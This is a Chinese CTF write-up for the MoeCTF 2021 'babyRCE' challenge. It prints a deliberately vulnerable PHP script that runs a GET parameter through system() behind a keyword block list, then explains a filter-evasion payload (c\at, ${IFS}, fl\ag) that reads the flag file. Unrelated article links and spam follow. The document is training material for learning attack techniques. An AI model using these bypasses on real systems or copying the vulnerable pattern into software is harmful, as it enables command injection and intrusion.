当前位置: 首页 > news >正文

[MoeCTF 2021]babyRCE

打开题目在线环境可以看到:

<?php

$rce = $_GET['rce'];
if (isset($rce)) {
    if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
        system($rce);
    }else {
        echo "hhhhhhacker!!!"."\n";
    }
} else {
    highlight_file(__FILE__);
}

这个代码审计起来就比较简单了,这里ls没有过滤可以直接用ls命令查看**?rce=ls**
在这里插入图片描述

查看flag.php就能获得flag。 cat过滤 ==> c\at绕过 (可以在linux系统测试,是可以的) 空格过滤 ==>
${IFS}绕过 flag过滤 ==> fl\ag

最后的payload就是:?rce=c\at${IFS}fl\ag.php

相关文章:

  • 二.使用ffmpeg对原始音频数据重采样并进行AAC编码
  • C++基础笔记
  • Matlab 汽车悬架系统动力学建模与仿真
  • Flask中使用with语句手动加载应用上下文
  • 【人工智能基础2】机器学习、深度学习总结
  • AI智能混剪工具:AnKo打造高效创作的利器!
  • How to install cangjie on Linux mint 22.1
  • [网络][tcp协议]:tcp报头
  • 深度学习篇---分类任务图像预处理模型训练
  • k8s serviceaccount在集群内指定apiserver时验证错误的问题
  • Java算法OJ(12)
  • spring boot+mybaits多条件模糊查询和分页查询
  • 《C++ Primer》学习笔记(四)
  • xcode 旧版本、历史版本下载
  • Flutter FloatingActionButton 从核心用法到高级定制
  • 人工智能技术与应用演讲(61页PPT)(文末有下载方式)
  • 【redis】reids 客户端的连接(Windows和mac)
  • GPT 1-3(速通版)
  • MySQL数据库备份工具:binlog详细操作与实战指南
  • 以太坊节点间通信机制 DEVp2p 协议
  • 网站做电子公章违法吗/大一网页设计作业成品
  • 新服务器做网站/市场营销专业
  • 西安优惠电商平台网站/google推广及广告优缺点
  • 网站好坏的指标/网站关键词优化网站推广
  • 做外贸做的很好的网站/百度推广代理商名单
  • 河南省住房城乡建设厅官方网站/谷歌chrome官网